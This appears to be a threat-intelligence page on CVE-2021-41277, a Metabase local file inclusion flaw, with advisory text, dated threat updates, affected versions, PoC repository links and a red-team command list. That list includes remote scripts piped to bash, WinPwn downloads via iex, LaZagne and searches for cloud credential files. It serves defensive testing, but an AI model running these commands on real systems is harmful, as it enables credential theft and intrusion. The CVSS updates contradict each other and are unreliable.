CVE-2021-41277
Overview
This vulnerability is a local file inclusion (LFI) flaw rooted in improper validation of user-supplied URLs within Metabase's custom GeoJSON map feature. Specifically, the application fails to sanitize or validate input URLs when administrators add custom maps through the admin settings interface, allowing unauthorized file access. The flaw affects the map loading component responsible for ingesting external GeoJSON data sources.
Vulnerability Description
Metabase is an open source data analytics platform. In affected versions a security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded. This issue is fixed in a new maintenance release (0.40.5 and 1.40.5), and any subsequent release after that. If you’re unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application.
Impact
An unauthenticated attacker can exploit this vulnerability to read sensitive local files and environment variables on the server hosting Metabase. This can disclose credentials, configuration details, or other sensitive data, potentially leading to further system compromise. No user interaction or authentication is required to trigger the flaw, enabling remote reconnaissance and information disclosure that can facilitate lateral movement or privilege escalation within an affected environment.
Solution
Mitigation requires upgrading Metabase to version 0.40.5, 1.40.5, or any later release as detailed in the official security advisory (https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr). If immediate upgrade is not feasible, administrators should implement URL validation filters at the reverse proxy, load balancer, or web application firewall level to block malicious map URLs before they reach the application layer.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the open-source data analytics platform Metabase stems from inadequate validation of URLs when handling custom GeoJSON maps. This security issue allows an attacker to potentially exploit local file inclusion vulnerabilities, which can lead to unauthorized access to sensitive files, including environment variables. The flaw exists in versions prior to the maintenance release 0.40.5 and 1.40.5, where the application fails to properly sanitize inputs associated with the custom maps feature. As a result, malicious actors could craft specially designed URLs that, when processed by the application, might lead to the exposure of critical system files or sensitive data.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering tactics to trick users into clicking on a malicious link that initiates the loading of a crafted GeoJSON map. Alternatively, if an attacker has access to the Metabase instance, they could directly manipulate the map settings to include harmful URLs. Once the application processes these URLs, it could inadvertently expose local files or environment variables, leading to further exploitation. This could facilitate a range of attacks, including data theft, system compromise, or lateral movement within the network, depending on the permissions of the compromised application.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Metabase for data analytics and reporting. The exposure of sensitive files could lead to data breaches, regulatory penalties, and reputational damage. For instance, if environment variables containing database credentials or API keys are compromised, attackers could gain unauthorized access to critical systems, resulting in severe operational disruptions. The business risk is compounded by the potential for attackers to leverage the information obtained through exploitation to launch further attacks, thereby increasing the overall threat landscape for the organization.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched versions of Metabase as soon as possible. In scenarios where immediate upgrades are not feasible, implementing security measures at the network level is crucial. This includes configuring reverse proxies, load balancers, or web application firewalls (WAF) to enforce strict validation rules for incoming URLs. By filtering out potentially harmful requests before they reach the application, organizations can significantly reduce the risk of exploitation. Additionally, regular security assessments and code reviews should be conducted to identify and remediate similar vulnerabilities proactively.
In conclusion, the vulnerability in Metabase highlights the critical importance of input validation in web applications, particularly those handling user-generated content. The potential for local file inclusion poses serious risks to data integrity and confidentiality, necessitating a robust security posture. Organizations must remain vigilant, ensuring timely updates and implementing layered security controls to protect against such vulnerabilities. By fostering a culture of security awareness and proactive risk management, businesses can better safeguard their assets and maintain trust with stakeholders.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2021-41277, with telemetry indicating a significant uptick in exploitation attempts targeting vulnerable Metabase instances. This surge coincides with the recent inclusion of the vulnerability in the Known Exploited Vulnerabilities (KEV) catalog, which likely increased attacker focus and scanning efforts. Although the Exploit Prediction Scoring System (EPSS) score remains high but stable, the proliferation of publicly available proof-of-concept exploits has lowered the barrier for adversaries to weaponize this flaw. The increased exploitation activity underscores the heightened risk to organizations running unpatched versions of Metabase, as successful exploitation can lead to local file inclusion and potential exposure of sensitive environment variables. Consequently, the threat level has escalated from elevated concern to a more urgent posture, emphasizing the need for defenders to prioritize detection and response capabilities around this vulnerability.
Update 2 — May 20, 2026
CSURFACE threat intelligence has observed a marked escalation in the criticality assessment of CVE-2021-41277, reflected by the CVSS score increase from 7.5 to the maximum 10.0. This adjustment follows its recent inclusion in the KEV catalog, underscoring the vulnerability’s heightened priority for remediation. Despite a significant reduction in detection activity across our telemetry, the availability of multiple proof-of-concept exploits on public repositories continues to lower the barrier for adversaries to weaponize this flaw. The elevated CVSS score signals an increased potential impact, particularly given the vulnerability’s capacity for local file inclusion and exposure of sensitive environment variables within Metabase instances. While ransomware usage remains unconfirmed, the critical severity and ease of exploitation maintain this vulnerability as a high-risk target for threat actors. Consequently, the overall threat level has shifted to critical, emphasizing the urgency for defenders to enhance monitoring and incident response capabilities related to this vulnerability.
Update 3 — June 07, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2021-41277, accompanied by the emergence of multiple new proof-of-concept exploits circulating on public repositories. This increased adversary activity underscores a growing interest in weaponizing the vulnerability, particularly given its critical severity and the potential for local file inclusion leading to sensitive environment variable disclosure. Although ransomware involvement remains unconfirmed, the surge in exploitation efforts elevates the likelihood of this vulnerability being leveraged in broader attack campaigns. Consequently, the threat level associated with CVE-2021-41277 has intensified, warranting heightened vigilance from defenders monitoring Metabase environments and related telemetry.
Update 4 — July 05, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2021-41277, accompanied by a modest upward revision of its CVSS score to 7.5. This adjustment reflects a refined understanding of the vulnerability’s impact, particularly concerning the local file inclusion vector that can expose sensitive environment variables. Concurrently, our telemetry indicates a sustained increase in adversary interest, as evidenced by the proliferation of new proof-of-concept exploits publicly available on code-sharing platforms. Although ransomware usage linked to this vulnerability remains unconfirmed, the expanding exploit toolkit and rising EPSS score underscore an elevated risk of broader operationalization. For defenders, this evolving threat landscape signifies a heightened urgency to monitor Metabase deployments closely, as the vulnerability’s exploitation potential is becoming more accessible and attractive to a wider range of threat actors. Consequently, the overall threat level for CVE-2021-41277 has intensified, warranting increased vigilance and prioritization within vulnerability management programs.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Metabase | Metabase | 0.40.0 |
cpe:2.3:a:metabase:metabase:0.40.0:-:*:*:-:*:*:*
|
|
|
Metabase | Metabase | 0.40.1 |
cpe:2.3:a:metabase:metabase:0.40.1:*:*:*:-:*:*:*
|
|
|
Metabase | Metabase | 0.40.2 |
cpe:2.3:a:metabase:metabase:0.40.2:*:*:*:-:*:*:*
|
|
|
Metabase | Metabase | 0.40.3 |
cpe:2.3:a:metabase:metabase:0.40.3:*:*:*:-:*:*:*
|
|
|
Metabase | Metabase | 0.40.4 |
cpe:2.3:a:metabase:metabase:0.40.4:*:*:*:-:*:*:*
|
|
|
Metabase | Metabase | 1.40.0 |
cpe:2.3:a:metabase:metabase:1.40.0:-:*:*:enterprise:*:*:*
|
|
|
Metabase | Metabase | 1.40.1 |
cpe:2.3:a:metabase:metabase:1.40.1:*:*:*:enterprise:*:*:*
|
|
|
Metabase | Metabase | 1.40.2 |
cpe:2.3:a:metabase:metabase:1.40.2:*:*:*:enterprise:*:*:*
|
|
|
Metabase | Metabase | 1.40.3 |
cpe:2.3:a:metabase:metabase:1.40.3:*:*:*:enterprise:*:*:*
|
|
|
Metabase | Metabase | 1.40.4 |
cpe:2.3:a:metabase:metabase:1.40.4:*:*:*:enterprise:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (9)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
tahtaciburak/CVE-2021-41277
PoC for CVE-2021-41277
|
tahtaciburak | 11 | 7 | 2021-11-21 | View |
|
zer0yu/CVE-2021-41277
|
zer0yu | 9 | 4 | 2021-12-06 | View |
|
z3n70/CVE-2021-41277
simple program for exploit metabase
|
z3n70 | 5 | 1 | 2021-11-22 | View |
|
Vulnmachines/Metabase_CVE-2021-41277
|
Vulnmachines | 4 | 1 | 2021-11-23 | View |
|
RubXkuB/PoC-Metabase-CVE-2021-41277
|
RubXkuB | 1 | 0 | 2023-04-24 | View |
|
Henry4E36/Metabase-cve-2021-41277
Metabase 任意文件读取
|
Henry4E36 | 0 | 1 | 2021-11-22 | View |
|
kaizensecurity/CVE-2021-41277
plugin made for LeakiX
|
kaizensecurity | 0 | 1 | 2021-11-23 | View |
|
kap1ush0n/CVE-2021-41277
MetaBase 任意文件读取漏洞 fofa批量poc
|
kap1ush0n | 0 | 0 | 2021-11-22 | View |
|
TheLastVvV/CVE-2021-41277
Metabase GeoJSON map local file inclusion
|
TheLastVvV | 0 | 0 | 2021-11-24 | View |
Threat Feed
27 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-41277 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/metabase/metabase/commit/042a36e49574c749f944e19cf80360fd3dc322f0 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41277 |